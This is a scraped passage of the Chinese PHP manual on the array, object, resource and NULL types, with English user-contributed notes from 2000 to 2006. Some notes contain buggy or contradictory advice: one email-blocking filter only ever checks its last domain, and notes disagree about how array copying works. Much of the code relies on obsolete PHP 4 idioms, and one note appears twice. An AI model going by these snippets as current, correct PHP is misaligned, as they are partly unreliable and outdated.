foreach ($colors as $key => $color) {
    $colors[$key] = strtoupper($color);
}

print_r($colors);
?>

上例将输出：

Array
(
    [0] => RED
    [1] => BLUE
    [2] => GREEN
    [3] => YELLOW
)

本例产生一个基于一的数组。

例子 11-9. 基于一的数组

<?php
$firstquarter  = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>

上例将输出：

Array
(
    [1] => 'January'
    [2] => 'February'
    [3] => 'March'
)
*/
?>

例子 11-10. 填充数组

<?php
// fill an array with all items from a directory
$handle = opendir('.');
while (false !== ($file = readdir($handle))) {
    $files[] = $file;
}
closedir($handle);
?>

数组是有序的。也可以使用不同的排序函数来改变顺序。更多信息参见数组函数。可以用 count() 函数来数出数组中元素的个数。

例子 11-11. 数组排序

<?php
sort($files);
print_r($files);
?>

因为数组中的值可以为任意值，也可是另一个数组。这样可以产生递归或多维数组。

例子 11-12. 递归和多维数组

<?php
$fruits = array ( "fruits"  => array ( "a" => "orange",
                                       "b" => "banana",
                                       "c" => "apple"
                                     ),
                  "numbers" => array ( 1,
                                       2,
                                       3,
                                       4,
                                       5,
                                       6
                                     ),
                  "holes"   => array (      "first",
                                       5 => "second",
                                            "third"
                                     )
                );

// Some examples to address values in the array above
echo $fruits["holes"][5];    // prints "second"
echo $fruits["fruits"]["a"]; // prints "orange"
unset($fruits["holes"][0]);  // remove "first"

// Create a new multi-dimensional array
$juices["apple"]["green"] = "good";
?>

需要注意数组的赋值总是会涉及到值的拷贝。需要在复制数组时用引用符号（&）。

<?php
$arr1 = array(2, 3);
$arr2 = $arr1;
$arr2[] = 4; // $arr2 is changed,
             // $arr1 is still array(2,3)

$arr3 = &$arr1;
$arr3[] = 4; // now $arr1 and $arr3 are the same
?>

add a note add a note User Contributed Notes
ch dot martin at gmail dot com
09-Jun-2006 02:40
Extremely irritating quirk regarding the variable types of array keys:

<?php
$r = array('05' => "abc", '35' => "def");
foreach ($r as $key=>$value)
   var_dump($key);
?>

The first var_dump for '05' is:
   string(2) "05"
as expected.  But the second, '35', turns out as:
   int(35)

Php apparently decided to make the 35 became an int, but not the 05 (presumably because it leads with a zero).  As far as I can see, there is absolutely no way of making string(2) "35" an array key.
anghuda(at)gmail(dot)com
25-May-2006 09:52
this is simpler tha function display_angka_bilangan by ktaufik(at)gmail(dot)com (16-Feb-2005 12:40)

<?

/*
*
* Class : Terbilang
* Spell quantity numbers in Indonesian or Malay Language
*
*
* author: huda m elmatsani
* 21 September 2004
* freeware
*
* example:
* $bilangan = new Terbilang;
* echo $bilangan -> eja(137);
* result: seratus tiga puluh tujuh
*
*
*/

Class Terbilang {

   function terbilang() {
       $this->dasar = array(1=>'satu','dua','tiga','empat','lima','enam',
       'tujuh','delapan','sembilan');

       $this->angka = array(1000000000,1000000,1000,100,10,1);
       $this->satuan = array('milyar','juta','ribu','ratus','puluh','');
   }

   function eja($n) {

   $i=0;
   while($n!=0){

       $count = (int)($n/$this->angka[$i]);

       if($count>=10) $str .= $this->eja($count). " ".$this->satuan[$i]." ";
       else if($count > 0 && $count < 10)
           $str .= $this->dasar[$count] . " ".$this->satuan[$i]." ";

           $n -= $this->angka[$i] * $count;
           $i++;
       }
       $str = preg_replace("/satu puluh (\w+)/i","\\1 belas",$str);
       $str = preg_replace("/satu (ribu|ratus|puluh|belas)/i","se\\1",$str);

       return $str;
   }
}

?>
benjcarson at digitaljunkies dot ca
10-May-2006 04:46
phoenixbytes: The regex you have posted for matching email addresses is incorrect.  Among other things, it does not allow '+' before the '@' (which is perfectly valid and can be quite useful to separate extensions of a single address).  RFC 822 [1] defines the grammar for valid email addresses, and (the extemely long) regex implementing can be found at [2].  Even the "Add Note" page here at php.net says:

[quote]
And if you're posting an example of validating email addresses, please don't bother. Your example is almost certainly wrong for some small subset of cases. See this information from O'Reilly Mastering Regular Expressions book for the gory details.
[/quote]

A note to others: please do your homework before writing another email-matching regex.

[1] http://www.ietf.org/rfc/rfc0822.txt?number=822
[2] http://www.ex-parrot.com/~pdw/Mail-RFC822-Address.html.
phoenixbytes at o2 dot co dot uk
17-Apr-2006 08:10
i use the array() function for deciding upon an email address's validity, i have a 'wap stalker' of my site that loves to exploit every hole i leave, so i used the following script to avoid being email bombed with my own file sender script, the array() is used to filter out undesirable email providers and, of course, any and all of my own addresses. before all that i used a REGEX to make sure it's an actual email address before going any further.

$mailto = "mail.domain.org"; // the input to be tested

if (preg_match("/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,6}$/i", $mailto)) // see if it's really an email address
{
   $bad = array('mytrashmail.com', 'mymail.ro', 'acasa.ro', 'gala.net', 'phoenixbytes'); // pick out the victims
   foreach($bad as $baddies); // make a collection

   if (preg_match("/$baddies/i", $mailto)) // find a match
   {
   $addrmail = "false";
   }
   else
   {
   $addrmail = "true";
   }

}
else
{
$addrmail = "false";
}

$addrmail can then be used in an argument.
$baddies can be used to give a list, if necessary.

i hope this helps someone.
crozzer
02-Apr-2006 04:54
Passing variables into the array constructor:
Just a NOOB pointer, I couldn't find other examples for this.  If you want to pass the value of an existing variable into the array() constructor, you can quote it or not, both methods are valid.

<?
$foo_value = 'foo string';
$bar_value = 'bar string';

$myArray = array(
   'foo_key' => $foo_value,    // not quoted
   'bar_key' => "$bar_value");  // quoted

foreach ($myArray as $k => $v) {
   echo "\$myArray[$k] => $v.<br />\n";
}
?>

Both of these will work as expected, but the unqoted $foo_value method above is marginally faster because adding quotes adds an additional string de-reference.
Henry Cesbron Lavau
15-Mar-2006 09:00
even better than $a2 = array_combine($a1, $a1); I finally suggest

   $a2 = unserialize(serialize($a1));

which produces exactly what we want : a new array $a2 of new objects not referenced to the objects of $a1 (as they would with $a2 = $a1).
Henry Cesbron Lavau
15-Mar-2006 06:07
To copy values from an array which contains arrays

db 05-Jan-2005 04:06 said : If you copy (=) an array which contains arrays it will be REFERENCED not COPIED.

   Well, this is only true since PHP 5.
   Under PHP4, it is COPIED.

So be aware of this when porting code from PHP 4 to PHP 5 !

Now, if you want to copy the values (and not the references),
   (instead of using array_diff as stated below, which won't work either under PHP 5)
just use  :

$a2 = array_combine($a1, $a1);
Simon Rigt at paragi.dk
21-Jan-2006 09:57
Make a real copy of an array.
One simple way is to use array_diff function.

<?php
// Define a multidimentional array
$arr1['color']=array('red','green','blue');
$arr1['number']=array(1,2,3);

// Copy all by getting the differance between this and an empty array.
$arr2=array_diff($arr1,array());

// To show that its not a reference, delete the original and display the content of the new array.
unset($arr1);
var_dump($arr2);
?>

Output:
array(2) {
  ["color"]=> array(3) {
   [0]=> string(3) "red"
   [1]=> string(5) "green"
   [2]=> string(4) "blue"
  }
  ["number"]=> array(3) {
   [0]=> int(1)
   [1]=> int(2)
   [2]=> int(3)
  }
}
sales at maboom dot ch
14-Dec-2005 01:41
if you need to check a multidimensonal array for values it's handy to store it like

$ar['key1'][0]
$ar['key2'][0]
$ar['key3'][0]

$ar['key1'][1]
$ar['key2'][1]
$ar['key3'][1]

and to loop the keys.

Fill the array (from a database-request):

while($rf=mysql_fetch_row($rs))

{
   $nr=$rf[0];
   $channel['nr'][$nr]=$rf[1];
   $channel['chatter'][$nr]=$rf[2];
}

Call the values:

foreach(array_keys($channel['nr']) as $test)
{
print ' nr:'.$test.'<br>';
print 'value nr: '.$channel['nr'][$test].'<br>';
print ' chatter: '.$channel['chatter'][$test].'<br>';
}

This is useful, if you have to look later for an element
inside the array:

if(in_array($new_value,$channel['nr'])) print 'do something.';

Hope this helps someone.
ia [AT] zoznam [DOT] sk
30-Sep-2005 05:55
Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach:

<?php
foreach ( $arr as $key => &$value )
{
   $value = 1;
}

// without next line you can get bad results...
//unset( $value );

$value = 159;
?>

Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1').

Bad results can also appear in nested foreach loops (the same reason as above).

So either unset $value after each foreach or better use the longer form:

<?php
foreach ( $arr as $key => $value )
{
   $arr[ $key ] = 1;
}
?>
stochnagara at hotmail dot com
27-Sep-2005 04:53
Regarding the previous comment, thw following code does the job:

<?php
foreach($arr as $key => &$value) {
   $value = 1;
}
?>
jazepstein OverAt GeeMail dot com
19-Sep-2005 09:14
Regarding the previous comment, the fact that this code has no effect is perfectly expected:

<?php
foreach($arr as $value) {
   $value = 1;
}
?>

The reason that this doesn't work, is because each time that PHP goes through the loop, it _copies_ the value of the array element into $value. So if you assign a new value to the data in $value, it has no effect on the actual array, because you only changed the value of the copy that was put in $value.

As was discovered in the previous post, the only way to get around this problem is to change the value in the original array. Hence, a typical foreach should instead look like this:

<?php
foreach($arr as $key => $value) {
   $arr[$key] = 1;
}
?>
caifara aaaat im dooaat be
28-Aug-2005 05:28
Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now...

I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean:

<?php

$a1 = array( "a" => 0, "b" => 1 );
$a2 = array( "aa" => 00, "bb" => 11 );

$together = array( $a1, $a2 );

foreach( $together as $single ) {
   $single[ "c" ] = 3 ;
}

print_r( $together );
/* nothing changed result is:
Array
(
   [0] => Array
       (
           [a] => 0
           [b] => 1
       )
   [1] => Array
       (
           [aa] => 0
           [bb] => 11
       )
) */

foreach( $together as $key => $value ) {
   $together[$key]["c"] = 3 ;
}

print_r( $together );

/* now it works, this prints
Array
(
   [0] => Array
       (
           [a] => 0
           [b] => 1
           [c] => 3
       )
   [1] => Array
       (
           [aa] => 0
           [bb] => 11
           [c] => 3
       )
)
*/

?>
uzakufuklar at hotmail dot com
04-Aug-2005 02:24
It is a kind of simple muti-dimensional array list.
 I have made it just to give a simple idea.
<?php
echo "Here we'll see how to create a multi-dimensional array.\n";
$a=array('fruits'=>array('a'=>'orange',
                     'b'=>'grape',c=>'apple'),
           'numbers'=>array(1,2,3,4,5,6),
           'holes'=>array('first',5=>'second',
                                                         'third')
           );
foreach($a as $list=>$things){
   foreach($things as $newlist=>$counter){
   echo $counter;
   }
}
?>
t0russ a t g m a i l d o t c o m
23-Jun-2005 01:27
re: jeff splat codedread splot com
when posting spaces are also translated into underscores,
quotes are translated into \" and \'
so <input name="Bill Gay'ts" value="micro$oft blows"> will be named as $_POST['Bill_Gay\'ts']
z
22-Apr-2005 03:10
Here's a simple function to insert a value into some position in an array

<?php
function array_insert($array,$pos,$val)
{
   $array2 = array_splice($array,$pos);
   $array[] = $val;
   $array = array_merge($array,$array2);

   return $array;
}
?>

and now for example...
<?php
$a = array("John","Paul","Peter");
$a = array_insert($a,1,"Mike");
?>

Now $a will be "John","Mike","Paul","Peter"
jeff splat codedread splot com
22-Apr-2005 12:16
Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores:

<html>
<body>
<?php
   printf("POST: "); print_r($_POST); printf("<br/>");
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
   <input type="hidden" name="Windows3.1" value="Sux">
   <input type="submit" value="Click" />
</form>
</body>
</html>

Once you click on the button, the page displays the following:

POST: Array ( [Windows3_1] => Sux )
roland dot swingler at transversal dot com
05-Apr-2005 11:24
Something that tripped me up:

If you mix string and integer keys, be careful if you are doing a comparison on the to find if a string key exists.

For example, this will not do what you expect it to do:

<?php
$exampleArray = array();
$exampleArray['foo'] = 'bar';
$exampleArray[] = 'Will create 0 index';

$keyWeAreLookingFor = "correctKey";

foreach ($exampleArray as $key => $value){
  if ($key == $keyWeAreLookingFor){
   print "Found Key";
  }
}
?>

It will print "Found Key", because (I presume) when PHP makes the comparison between the string "correctKey" and the index 0, it casts the string to an integer, rather than casting 0 to the string "0" and then doing the comparison.

Using === fixes the problem:

<?php
foreach ($exampleArray as $key => $value){
  if ($key === $keyWeAreLookingFor){
   print "Found Key";
  }
}
?>
lars-phpcomments at ukmix dot net
29-Mar-2005 12:40
Used to creating arrays like this in Perl?

@array = ("All", "A".."Z");

Looks like we need the range() function in PHP:

<?php
$array = array_merge(array('All'), range('A', 'Z'));
?>

You don't need to array_merge if it's just one range:

<?php
$array = range('A', 'Z');
?>
mortoray at ecircle-ag dot com
16-Feb-2005 04:59
On array copying a deep copy is done of elements except those elements which are references, in which case the reference is maintained.  This is a very important thing to understand if you intend on mixing references and recursive arrays.

By Example:
   $a = array( 1 );
   $aref_a = array( &$a );
   $copy_aref_a = $aref_a;
   $acopy_a = array( $a );
   $copy_acopy_a = $acopy_a;

   $a[] = 5;
   $acopy_a[0][] = 6;

   print_r( $aref_a ); //Shows: ( (1,5) )
   print_r( $copy_aref_a ); //Shows: ( (1,5) )
   print_r( $acopy_a ); //Shows: ( (1, 6) )
   print_r( $copy_acopy_a ); //Shows: ( (1) )
ktaufik(at)gmail(dot)com
16-Feb-2005 04:40
For you who works for localized "say" number to letter ( ex , 7=> seven, 8=>eight) for Bahasa Indonesia.

Indonesia "say" or "Terbilang" is based on 3 digit number.
thousands, millions and trillions .... will be based on the 3 digit number.

In Indonesia you say 137 as "Seratus Tiga Puluh Tujuh"

<?php
//build random 3 digit number to be "said" in Bahasa Indonesia
$x=rand(0,9);
$y=rand(0,9);
$z=rand(0,9);

function display_angka_bilangan($n) {
   $angka = array(
     1 => 'satu',
     2 => 'dua',
     3 => 'tiga',
     4 => 'empat',
     5 => "lima",
     6 => 'enam',
     7 => 'tujuh',
     8 => 'delapan',
     9 => 'sembilan'
   );
   return $angka[$n];
}
// Terbilang X-------Say X
if ($x==1){$terbilangx="seratus ";}
elseif ($x==0){$terbilangx='';}
else {$terbilangx=''.display_angka_bilangan($x).' '.'ratus ';}
// Terbilang Y ------Say Y
if ($y==0){$terbilangy='';}
elseif ($y==1 && $z==1){$terbilangy="sebelas";$terbilangz='';}
elseif ($y==1 && $z==0){$terbilangy="sepuluh ";$terbilangz='';}
elseif ($y==1 && $z!==1 &&  $z!==0){$terbilangy=''.display_angka_bilangan($z).' belas ';}
else {$terbilangy=''.display_angka_bilangan($y).' '.'puluh ';}
// Terbilang z ------Say z
if ($z==0){$terbilangz="";}
elseif ($z==0 && $y==1){$terbilangz="";}
elseif ($z==1 && $y==1){$terbilangz="";}
elseif($y==0) {$terbilangz="".display_angka_bilangan($z);}
elseif ($y==1 && $z!==1 &&  $z!==0) {$terbilangz="";}
else {$terbilangz="".display_angka_bilangan($z);};

$terbilang=$terbilangx.$terbilangy.$terbilangz;
echo $x.$y.$z." ";
echo $terbilang;
?>

Hope it is useful
ktaufik(at)gmail(dot)com
db
05-Jan-2005 11:06
Attention with Arrays in Arrays!

If you copy (=) an array which contains arrays it will be REFERENCED not COPIED.

Example:

<?php
/* GOOD ONE */
echo "<b>Here copy (=) works correct:</b><br>";
/* Initialise Array 1 */
$x1 = array(array(10,20),array(30,40));
/* COPY Array */
$x2 = $x1;
/* Change some values in Array 2 */
$x2[0][0]=77;
$x2[1][1]=99;
echo "<b>Original:</b><pre>";
var_dump($x1);
echo "</pre><b>Changed Copy:</b><pre>";
var_dump($x2);

/* BAAAAAAAD ONE */
echo "</pre><hr><b>Here copy (=) FAILS:</b><br>";
/* Initialise Array 1 */
$a1[0]->bla[0]->id=10;
$a1[0]->bla[1]->id=20;
$a1[1]->bla[0]->id=30;
$a1[1]->bla[1]->id=40;
/* COPY Array */
$a2 = $a1;
/* Change some values in Array 2 (!) */
$a2[0]->bla[0]->id=77;
$a2[1]->bla[1]->id=99;
echo "<b>Original:</b><pre>";
var_dump($a1);
echo "</pre><b>Changed Copy:</b><pre>";
var_dump($a2);
echo "</pre>";

php?>

The output of $a1 and $a2 will be the same..
Guillaume Beaulieu
31-Dec-2004 02:53
There is no warning nor error if you make something like:

foreach($a as $b => $b) {
   print $b;
}

It is somewhat weird, but in the philosophy of "permit everything" of php.
Joe Morrison <jdm at powerframe dot com>
08-Nov-2004 05:26
Programmers new to PHP may find the following surprising:

<?php

$x[1] = 'foo';
$x[0] = 'bar';
echo "Original array:\n";
var_dump($x);

array_pop($x);
echo "Array after popping last element:\n";
var_dump($x);

?>

The surprise is that element 0 is deleted, not element 1. Apparently the notion of "last element" has more to do with how the array is stored internally than with which element has the highest numeric index. I recently translated a Perl program to PHP and was bitten by this one.

My solution was to identify all the places in my code where I could prove that the array elements were assigned sequentially. In those cases it is safe to use array_pop, array_splice, etc. since the array indices correspond with the array layout. For the other cases, my solution was to write replacements for the built-in array functions such as this one:

<?php

function safe_pop(&$a)
{
  if (!isset($a))
   return;

  if (!is_array($a))
   return;

  if (count($a) == 0)
   return;

  unset($a[max(array_keys($a))]);
}

?>
Cameron Brown
19-Nov-2003 12:51
Negative and positive array indices have different behavior when it comes to string<->int conversion.  1 and "1" are treated as identical indices, -1 and "-1" are not.  So:

$arr["1"] and $arr[1] refer to the same element.
$arr["-1"] and $arr[-1] refer to different elements.

The following code:

<?
  $arr[1]    = "blue";
  $arr["1"]  = "red";
  $arr[-1]  = "blue";
  $arr["-1"] = "red";

  var_dump($arr);
?>

produces the output:

array(3) {
  [1]=>
  string(3) "red"
  [-1]=>
  string(4) "blue"
  ["-1"]=>
  string(3) "red"
}

This code should create an array with either two or four elements.  Which one should be the "correct" behavior is an exercise left to the reader....
akamai at veloxmail dot com dot br
17-Jul-2003 07:22
It is quite simple, but don't forget when you'll using foreach with forms arrays.

If your field name is:
<input type="checkbox" name="foo['bar'][]" ...
It doesn't work.

This should work:
<input type="checkbox" name="foo[bar][]" ...
agape_logos at shaw dot ca
12-Jul-2003 07:59
I was having trouble getting javascript arrays and php arrays to work together with a Check All checkboxe.  Here is a simple solution.  Clicking the 'Check All' checkbox will check all checkboxes on the form.

<script language="JavaScript">
function chkAll(frm, arr, mark) {
  for (i = 0; i <= frm.elements.length; i++) {
   try{
     if(frm.elements[i].name == arr) {
       frm.elements[i].checked = mark;
     }
   } catch(er) {}
  }
}
</script>

<form name='foo'>
<input type="checkbox" name="ca" value="1" onClick="chkAll(this.form, 'formVar[chkValue][]', this.checked)">
<?php
for($i = 0; $i < 5; $i++){
echo("<input type='checkbox' name='formVar[chkValue][]' value='$i'>");
}
?>
</form>

Dean M.
chroniton .at. gmx .dot. li
27-Mar-2003 02:13
I didn't find this anywhere in the docs and i think it is worth a mention:

$a[] = &$a;
print_r($a);

// will output:

/*
Array
(
   [0] => Array
 *RECURSION*
)

*/

// this means that $a[0] is a reference to $a ( that is detected by print_r() ). I guess this is what the manual calls 'recursive arrays'.
07-Mar-2003 07:28
"Using NULL as a key will evaluate to an empty string. Using an emptry string as key will create (or overwrite) a key with an empty string and its value, it is not the same as using empty brackets."

If you create an array like this:
$foo = array(null => 'bar');
And then want to access 'bar', you must use this syntax:
echo $foo['']; // notice the two single quotes

This will of course cause a fatal error:
echo $foo[];
wmoranATpotentialtechDOTcom
30-Nov-2002 07:10
Dereferencing arrays takes some time, but is not terribly expensive.
I wrote two dummy loops to test performance:
for ($i =0; $i < count($a); $i++) {
 $x = $a[$b[$i]];
 $y = $a[$b[$i]];
 $z = $a[$b[$i]];
}
for ($i =0; $i < count($a); $i++) {
 $q = $b[$i];
 $x = $a[$q];
 $y = $a[$q];
 $z = $a[$q];
}

The first loop is 6.5% slower than the second.  Meaning that dereferencing arrays is not terribly expensive, unless you do it a whole lot. I would expect that each extra reference costs about 3% in speed. The lesson is that if you're going to be using a specific value in an array for a number of operations, you can gain a little speed by assigning it to a temp variable (or creating a reference with $q = &$b[$i]) but it's not worth getting crazy over.
I tested this with iterations of 10,000 and 100,000 on php 4.2 and the results were consistent.
mu at despammed dot com
15-Oct-2002 02:50
Recursive arrays and multi-dimensional arrays are the same thing and completely identical.

The following confirms this:

$fruits1["european"]["green"] = "Apple";
$fruits2 = array ( "european"  => array ( "green" => "Apple"));
print ($fruits1 === $fruits2);

Result: 1 (= true)
hramrach_L at centrum. cz ;-)
11-Jun-2002 08:40
Arrays can be merged using + as discussed in the notes for array_merge.
 http://www.php.net/manual/en/function.array-merge.php
philip at boone dot at
25-May-2002 09:06
For all of you having problems when using php arrays in an HTML form input field name, and wanting to validate the form using javascript for example, it is much easier to specify an id for the field as well, and use this id for validation.

Example:

<input type="text" id="lastname" name="fields[lastname]">

then in the javascript check:

if(formname.lastname.value == "") {
     alert("please enter a lastname!");
}

This works very well. If you have any problems with it, let me know.
mjp at pilcrow dot madison dot wi dot us
22-Feb-2000 06:18
Those with a perl background may be surprised to learn that the 'thick arrow' and comma operators are not synonymous in array construction.

For example, the following are equivalent:

$ary = array("foo" => "bar", 1, 2);
$ary = array("foo" => "bar", 0 => 1, 1 => 2);
add a note add a note

后退 | 起点 | 前进
字符串 | 上一级 | 对象


对象

对象初始化

要初始化一个对象，用 new 语句将对象实例到一个变量中。

<?php
class foo
{
    function do_foo()
    {
        echo "Doing foo.";
    }
}

$bar = new foo;
$bar->do_foo();
?>

完整的讨论见类与对象一章。

转换为对象

如果将一个对象转换成对象，它将不会有任何变化。如果其它任何类型的值被转换成对象，内置类 stdClass 的一个实例将被建立。如果该值为 NULL，则新的实例为空。对于任何其它的值，名为 scalar 的成员变量将包含该值。

<?php
$obj = (object) 'ciao';
echo $obj->scalar;  // outputs 'ciao'
?>

add a note add a note User Contributed Notes
Trevor Blackbird > yurab.com
27-Nov-2005 01:33
You can create a new object using the built-in stdClass or by using type-casting:

<?php

// This is the proper way
$object1 = new stdClass();

// This works too
$object2 = (object) NULL;

// This will create an object from an array
$monkey_array = array('title'=>'Spider Monkey', 'src'=>'monkey.jpg');
$monkey_object = (object) $monkey_array;
print $monkey_object->title . ' ' . $monkey_object->src;

// You can type-cast in the middle of an expression
function customHTML($some_object) {
// this function expects an object as the argument and returns some output
}
print '<p>Writing some output ' . customHTML( (object) array('rows'=>3, 'cols'=>4) );

?>
james dot jones at firstinvestors dot com
11-Mar-2005 01:32
iblun:

Highly recommended that you NOT try to write your own sort function. Try something like this instead:

<?php

function sort_by_field($obj_array, $field)
{
   return usort($obj_array,
         create_function('$o1,$o2',
             "return (\$o1->$field < \$o2->$field) ? -1 : 1"));
}

?>

(Warning: untested code...)
iblun at gmx dot net
09-Mar-2005 09:08
To sort an array, that contains an object, after one fieldname inside the object, im using this function:

function objectSort($objectarray, $field)
{
   for ($a=0;$a < (count($objectarray)); $a++)
   {
       for ($b=0;$b < (count($objectarray)); $b++)
       {
           if ($objectarray[$a]->$field < $objectarray[$b]->$field)
           {
               $temp = $objectarray[$a];
               $objectarray[$a] = $objectarray[$b];
               $objectarray[$b] = $temp;
           }
       }
   }

   return $objectarray;
}
mortoray at ecircle-ag dot com
16-Feb-2005 06:07
If you use new to create items in an array, you may not get the results you want since the parameters to array will be copies of the original and not references.

By Example:
class Store {
   var $item = 3;
}

   $a = array( new Store() );
   $b = $a;
   $a[0]->item = 2;
   print( "|" . $b[0]->item . "| <br>" );  //shows 3

   $a = array();
   $a[] =& new Store();
   $b = $a;
   $a[0]->item = 2;
   print( "|" . $b[0]->item . "| <br>" );  //shows 2

This is extremely important if you intend on passing arrays of classes to functions and expect them to always use the same object instance!

Note: The following syntax is desired (or maybe even the default notation should translate as this):
   $a = array( &new Store() );
sirbinam at nospam dot please dot hotmail dot com
16-Nov-2004 10:46
<?php

class hack{}
$hack =& new hack;

class profiler{
  function profiler(){
   $this->startime = microtime();
  }

  function dump(){
   global $hack;
   $this->endtime = microtime();
   $duration = $this->endtime - $this->starttime; /* this won't actually work, it just the concept */
   $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
   echo $msg;
  }
}

$stdout =& new stdout();
$hack =& $stdout;
$profiler->dump();

?>

/*
     *
     * In short this little hack allows us to call $stdout->write() from
     * $profiler->dump
     *
     * The problem is that $stdout doesn't exist yet and when the compiler
     * parses this class, it sends a fatal error and dies because you can't
     * refer to a method of an object that doesn't exist yet, even though
     * this method doesn't get called until the end of execution, when the
     * method does exist.
     * This is the same as not being able to use a function before it is
     * at least declared in say a header file. This is seen in C, Perl,
     * and pretty much every language known to man. (TTBOMK?)
     *
     * So what does this hack do?
     * The first thing that happens in the global scope is an empty class
     * definition, it then creates a object called $hack from this class.
     * All this does is allocate memory for an object, and places a pointer
     * at the begining of that memory segment.
     * When the compiler parses this class, it doesn't care that the $hack
     * object is empty, as long as it has somewhere to assign a function
     * pointer. Later in global scope the $stdout object is created.
     * After $stdout is created, we do $hack =& $stdout. The =&
     * (assign by reference) moves the pointer for $hack to the begining of
     * the memory segment for $stdout. So when we call $hack->write(), it
     * points to the exact same object->method() as $stdout->write(). So
     * this is actually very reliable, just don't tell a purist!
     */
jbinam at nospam dot please dot hotmail dot com
16-Nov-2004 10:46
<?php

class hack{}
$hack =& new hack;

class profiler{
  function profiler(){
   $this->startime = microtime();
  }

  function dump(){
   global $hack;
   $this->endtime = microtime();
   $duration = $this->endtime - $this->starttime; /* this won't actually work, it just the concept */
   $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
   echo $msg;
  }
}

$stdout =& new stdout();
$hack =& $stdout;
$profiler->dump();

?>

/*
     *
     * In short this little hack allows us to call $stdout->write() from
     * $profiler->dump
     *
     * The problem is that $stdout doesn't exist yet and when the compiler
     * parses this class, it sends a fatal error and dies because you can't
     * refer to a method of an object that doesn't exist yet, even though
     * this method doesn't get called until the end of execution, when the
     * method does exist.
     * This is the same as not being able to use a function before it is
     * at least declared in say a header file. This is seen in C, Perl,
     * and pretty much every language known to man. (TTBOMK?)
     *
     * So what does this hack do?
     * The first thing that happens in the global scope is an empty class
     * definition, it then creates a object called $hack from this class.
     * All this does is allocate memory for an object, and places a pointer
     * at the begining of that memory segment.
     * When the compiler parses this class, it doesn't care that the $hack
     * object is empty, as long as it has somewhere to assign a function
     * pointer. Later in global scope the $stdout object is created.
     * After $stdout is created, we do $hack =& $stdout. The =&
     * (assign by reference) moves the pointer for $hack to the begining of
     * the memory segment for $stdout. So when we call $hack->write(), it
     * points to the exact same object->method() as $stdout->write(). So
     * this is actually very reliable, just don't tell a purist!
     */
nconantj
19-Jul-2004 03:43
php at electricsurfer.com,

More than a year later and here's some clarification of what's happening in your code, via comments in an otherwise verbatim copy.

<?
class c
{
   var $a = array('a'=>'aa','b'=>'ab');
   var $b = 'c';

   function show()
   {
       echo $this->a['a']; // -> 1st
       echo $this->a['b']; // outputs 'ab'

       $a = 'a';
       $b = 'b';

       echo $this->$a[$a]; // [] 1st, not what I expected
       //Above first becomes $this->$a['a'] by looking at the function's local $a
       //Next it becomes $this->a by again looking at the function's local $a, which references the class variable $a with no subscripts.
       // In order to reference elements of the class variable $a,
       // you want to use $this->a[$a]

       echo $this->$a[$b]; // does NOT output 'ab'
       // Same as above, but the first step $b becomes 'b'

       $this_a =& $this->$a; // work-around

       echo $this_a[$a]; // no question
       echo $this_a[$b];

       $a_arr = array('a'=>'b');

       echo $this->$a_arr[$a]; // [] 1st => outputs 'c'
       // This becomes $this->$a_arr['a'] which becomes $this->c,
       // by referencing the local variables first.
   }
}
$c = new c();
$c->show();
?>
info at keltoi-web dot com
26-Aug-2003 05:26
PHP supports recursive type definitions as far as I've tried. The class below (a _very_ simple tree) is an example:

class Tree {

var $_value = null;
var $_children = array();

function Tree ($value) {
  $this->_value = $value;
}

function addChild ($value) {
  $aux_node = new Tree ($value);
  $this->_children [] = $aux_node;
  return $aux_node;
}
}

As you can see, in addChild we reference Tree again...

However, you must be careful about references. See the chapter "References explained" for more details.

Hope this helps.
php at electricsurfer dot com
23-May-2003 12:25
Here's an example on operator precedence between ->  and []
& what happens with $object->$member[$array_element]

<?
class c
{
   var $a = array('a'=>'aa','b'=>'ab');
   var $b = 'c';

   function show()
   {
       echo $this->a['a']; // -> 1st
       echo $this->a['b']; // outputs 'ab'

       $a = 'a';
       $b = 'b';

       echo $this->$a[$a]; // [] 1st, not what I expected
       echo $this->$a[$b]; // does NOT output 'ab'

       $this_a =& $this->$a; // work-around

       echo $this_a[$a]; // no question
       echo $this_a[$b];

       $a_arr = array('a'=>'b');

       echo $this->$a_arr[$a]; // [] 1st => outputs 'c'
   }
}
$c = new c();
$c->show();
?>
add a note add a note

后退 | 起点 | 前进
数组 | 上一级 | 资源


资源

资源是一种特殊变量，保存了到外部资源的一个引用。资源是通过专门的函数来建立和使用的。所有这些函数及其相应资源类型见附录。

注: 资源类型是 PHP 4 引进的。

参见 get_resource_type()。

转换为资源

由于资源类型变量保存有为打开文件、数据库连接、图形画布区域等的特殊句柄，因此无法将其它类型的值转换为资源。

释放资源

由于 PHP4 Zend 引擎引进了资源计数系统，可以自动检测到一个资源不再被引用了（和 Java 一样）。这种情况下此资源使用的所有外部资源都会被垃圾回收系统释放。由此原因，很少需要用某些 free-result 函数来手工释放内存。

注: 持久数据库连接比较特殊，它们不会被垃圾回收系统破坏。参见数据库永久连接一章。

add a note add a note User Contributed Notes
evildictaitor at hotmail dot com
17-Aug-2004 01:25
In response to yasuo_ohgaki, the reason for the inability of the $_SESSION[] variable to hold references is because a session is just a serialize()'d version of it's member variables saved under a unique filename, with this filename following the user around.

$_SESSION[] is therefore limited by the constraints of the serialize() function

Although this is not <i>strictly</i> true, ($_SESSION does some handling to convert messy variables (e.g. "s and ;s)) it cannot store resources due to the serialise() function's dependancy
isaac at chexbox dot com
23-Jun-2002 04:37
For the the oblivious: An example of a resource would be a mysql database connection.

$result = mysql_connect("localhost", "username", "pass");
//$result variable is a resource.

print $result;
//will print: Resource ID#1, or something similar
yasuo_ohgaki at hotmail dot com
21-May-2001 05:04
Resource type values are not saved in session variables. (Programmer must re-initialize resource type in session var anyway, because values held by resources are useless connection to connection)
add a note add a note

后退 | 起点 | 前进
对象 | 上一级 | NULL


NULL

特殊的 NULL 值表示一个变量没有值。NULL 类型唯一可能的值就是 NULL。

注: NULL 类型是 PHP 4 引进的。

在下列情况下一个变量被认为是 NULL：

  • 被赋值为 NULL。

  • 尚未被赋值。

  • 被 unset()。

语法

NULL 类型只有一个值，就是大小写敏感的关键字 NULL。

